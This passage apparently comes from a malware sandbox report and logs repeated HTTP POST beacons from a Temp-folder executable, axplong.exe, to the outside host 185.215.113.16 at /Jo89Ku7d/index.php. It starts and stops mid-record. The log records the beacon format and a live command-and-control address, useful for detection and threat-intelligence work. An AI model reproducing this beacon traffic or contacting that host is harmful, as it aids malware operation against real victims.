                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:51.387696028 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:51 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:51.388864040 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:51.612202883 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:51 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      44192.168.2.849756185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:51.730860949 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:52.454442024 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:52 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:52.455782890 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:52.685580969 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:52 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      45192.168.2.849757185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:52.796557903 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:53.515979052 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:53 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:53.562483072 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:53.793876886 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:53 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      46192.168.2.849758185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:53.903774977 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:54.592211962 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:54 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:54.593456984 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:54.815093040 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:54 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      47192.168.2.849759185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:54.937334061 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:55.627449036 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:55 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:55.628256083 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:55.850049973 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:55 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      48192.168.2.849760185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:55.965049982 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:56.694044113 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:56 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:56.772474051 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:57.007092953 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:56 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      49192.168.2.849761185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:57.121422052 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:57.829888105 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:57 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:57.830708027 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:58.077756882 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:57 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      50192.168.2.849762185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:58.199486017 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:58.901690960 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:58 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:58.905006886 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:59.132129908 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:59 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      51192.168.2.849763185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:59.251188993 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:59.955395937 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:59 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:59.958581924 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:00.189183950 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:00 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      52192.168.2.849764185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:00.308712959 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:01.015784025 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:00 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:01.016632080 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:01.248519897 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:01 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      53192.168.2.849765185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:01.355509996 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:02.077279091 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:01 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:02.077987909 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:02.307926893 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:02 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      54192.168.2.849766185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:02.480050087 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:03.109131098 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:03 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:03.109956980 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:03.339112997 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:03 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      55192.168.2.849767185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:03.455001116 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
